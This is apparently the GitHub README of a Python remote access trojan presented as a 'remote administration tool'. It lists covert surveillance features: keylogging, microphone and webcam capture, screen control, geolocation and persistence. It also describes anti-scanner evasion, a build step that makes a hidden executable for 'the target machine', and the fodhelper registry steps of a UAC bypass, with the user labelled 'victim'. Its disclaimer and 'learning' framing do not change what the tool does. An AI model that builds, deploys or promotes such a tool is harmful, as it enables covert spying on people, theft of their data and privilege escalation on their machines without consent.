π Professional TCP-based remote administration tool with enterprise-grade features
Features β’ Installation β’ Usage β’ π Complete Guide β’ Documentation
A powerful and lightweight Python-based remote administration tool that enables seamless command execution across multiple client machines through a centralized server. Built with modern architecture and professional UI design.
π New to this tool? Check out our Complete Usage Guide for step-by-step instructions!
|
|
| Feature | Description | Status |
|---|---|---|
| π | TCP Communication - Reliable client-server architecture | β |
| π₯ | Multi-Client Support - Manage multiple machines simultaneously | β |
| π» | Modular Architecture - Thread-safe, multi-file codebase | β |
| πΈ | 4K Screenshots - High-quality screen capture with dynamic compression | β |
| π· | Webcam Capture - Real-time webcam snapshot directly to GUI | β |
| π | Visual File Manager - Browse, read, edit, delete remote files with GUI | β |
| π₯π€ | File Transfer - Upload/download with progress tracking (50MB) | β |
| π¬ | Multi-Style Popups - INFO / WARNING / ERROR / CYBER / OVERRIDE | β |
| π₯οΈ | Live Screen Monitor - Real-time remote desktop with full mouse & keyboard control | β |
| π±οΈ | Full Mouse Control - Click, scroll, drag-drop, move on remote screen | β |
| β¨οΈ | Hotkey Support - Ctrl+C/V/Z/A/X/S/W/T/R forwarded to remote | β |
| π― | OS-Specific Commands - Smart buttons that adapt to Windows/Linux/Mac | β |
| π‘οΈ | Anti-Scanner Protection - Ghost connection rejection | β |
| π€ | Live Microphone Streaming - Toggle start/stop with auto MP3 save | β |
| β¨οΈ | Live Keylog Streaming - Real-time keystroke capture with toggle | β |
| π― | Remote Task Manager - View and kill processes on client | β |
| π | Live Performance Dashboard - Real-time CPU, RAM, Disk monitor | β |
| πΊοΈ | GeoLocation Tracker - IP-based location with Google Maps link | β |
| π | Privilege Inspector - Token integrity level + UAC status display | β |
| π₯ | UAC Bypass - fodhelper.exe method for privilege escalation | β |
| π’ | Voice Broadcast - Stream server microphone to client in real-time or speak via TTS | β |
π‘ Platform Note: On Windows use
python, on Linux/macOS usepython3.
# 1οΈβ£ Clone the repository
git clone https://github.com/palnirupam/Remote-admin-tool.git
cd Remote-admin-tool
# 2οΈβ£ Install dependencies
pip install -r requirements.txt # Windows
# pip3 install -r requirements.txt # Linux / macOS
# 3οΈβ£ Configure client IP in client.py
# Edit SERVER_IP = "your_server_ip"π Click to expand configuration steps
- Open
client.pyin your editor - Locate the configuration section:
SERVER_IP = "127.0.0.1" # π Change this PORT = 5000
- Update with your server's IP:
- Local testing:
127.0.0.1 - Same network:
192.168.x.x - Remote: Your public IP
- Local testing:
Compile client.py into a standalone hidden executable β no Python needed on the target machine.
python advanced_build.py # Windows
# python3 advanced_build.py # Linux / macOS- Completely FREE (no accounts, cards, or passwords required)
- Automatically downloads and configures the
boretunnel - Injects public IP and Port β compiles
ClientRAT_Global.exe - Your original
client.pystays safely configured for localhost!
π― IMPORTANT: Final executable will be in the
distfolder!
# Start GUI server
python server_gui.py # Windows
# python3 server_gui.py # Linux / macOS
# On client machine(s)
python client.py # Windows
# python3 client.py # Linux / macOSClick "πΊοΈ GeoLocation" after selecting a client:
- π Country, Region, City, ZIP
- π GPS Coordinates (clickable β Google Maps)
- π‘ ISP & Organization name
- π Proxy / VPN / Datacenter detection
- πΆ Mobile data detection
- π Timezone
Auto-detects public IP for LAN/localhost clients via
api.ipify.org.
Click "π Privilege" after selecting a client:
ββββββββββββββββββββββββββββββββββββββββββββββββ
β π PRIVILEGE INSPECTOR π‘ MEDIUM β
ββββββββββββββββββββββββββββββββββββββββββββββββ€
β π€ Username victim β
β π‘οΈ Admin Group Yes β
β
β π UAC Enabled Yes (ON) β
β π Integrity π‘ Medium β
β β‘ Elevated No β MEDIUM token β οΈ β
ββββββββββββββββββββββββββββββββββββββββββββββββ€
β [π₯ Execute UAC Bypass (fodhelper)] β
ββββββββββββββββββββββββββββββββββββββββββββββββ
UAC Bypass flow:
- Writes payload to
HKCU\Software\Classes\ms-settings\shell\open\command - Triggers
fodhelper.exe(Windows auto-elevated binary) - Client relaunches as HIGH integrity β no UAC prompt
- New elevated connection appears in client list
Integrity levels:
| Badge | Level | Meaning |
|---|---|---|
| π΄ | Low | Sandbox / restricted |
| π‘ | Medium | Standard user (UAC blocking) |
| π’ | High | Admin β full access |
| π΅ | System | NT AUTHORITY\SYSTEM |
| Action | How |
|---|---|
| Left/Right/Middle click | Mouse button on screen |
| Scroll up/down | Mouse wheel |
| Drag & Drop | Click-hold-move |
| Hotkeys | Ctrl+C/V/Z/A/X/S/W/T/R |
- Browse entire remote filesystem with GUI tree
- Double-click folders to navigate
- Right-click files: Download / Edit / Delete
- Built-in text editor with syntax support
- Supports both Windows and Linux paths
SCREENSHOT # Terminal command or click πΈ button- π¨ Adaptive quality (4K/2K/HD)
- πΎ Auto-save to
screenshots/folder - π View at 100% original size
MIC_START # Start recording
MIC_STOP # Stop & save as WAV/MP3
KEYLOG_START # Start live keystroke stream
KEYLOG_STOP # Stop keylogβ Connection Failed
- β Verify server is running
- β
Check
SERVER_IPin client.py - β Ensure firewall allows port 5000
- β
Test with
ping <server_ip>
β Port Already in Use
Windows:
netstat -ano | findstr :5000
taskkill /PID <process_id> /FLinux:
lsof -i :5000
kill -9 <process_id>β GeoLocation Shows Wrong Location
- If client is behind VPN/Proxy, location will reflect VPN server, not real location
- LAN clients auto-lookup public IP via
api.ipify.org 127.0.0.1β automatically resolved to machine's real public IP
β UAC Bypass Not Working
- β Client must be on Windows
- β User must be a member of the Administrators group
- β UAC must be enabled (if UAC is off, bypass not needed anyway)
- β If
is_admin: falseβ user is a standard user, bypass impossible
THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS SOFTWARE.
By using this tool, you agree to:
- Use it only on systems you own or have explicit written permission to access
- Not use it for any illegal, malicious, or unauthorized purposes
- Accept full responsibility for your actions
- Understand that the author bears NO LIABILITY for consequences of use
Use responsibly and ethically. Always obtain proper authorization!
π¦ Remote-admin-tool
β£ π server_gui.py # Professional GUI server (Main Entry)
β£ π server.py # CLI server with advanced logging
β£ π gui_globals.py # Shared global state & thread-safe logging
β£ π gui_network.py # Multi-client TCP listener & socket manager
β£ π gui_commands.py # Command execution, response routing & handlers
β£ π gui_features.py # Screenshot, webcam, mic, keylog, file manager,
β # screen monitor, geolocation, privilege UI
β£ π client.py # Smart client β auto-reconnect, all handlers,
β # privilege info, UAC bypass, persistence
β£ π advanced_build.py # Auto-tunneling & .exe/binary compiler
β£ π requirements.txt # Python dependencies
β£ π .gitignore # Git ignore rules
β£ π README.md # This file
β π USAGE_GUIDE.md # Complete step-by-step guide
Perfect for learning:
- π TCP socket programming & multi-client architecture
- π§΅ Multi-threading and concurrency
- π¨ Tkinter GUI development
- π Windows security β UAC, token integrity, privilege escalation
- π IP intelligence & OSINT (GeoLocation, ISP, proxy detection)
- π File encoding, transfer, and remote filesystem navigation
- π§ Process management & system control
Contributions are welcome!
How to contribute:
- π΄ Fork the repository
- πΏ Create feature branch:
git checkout -b feature/AmazingFeature - πΎ Commit changes:
git commit -m 'Add AmazingFeature' - π€ Push to branch:
git push origin feature/AmazingFeature - π Open a Pull Request
Made with β€οΈ for the cybersecurity community



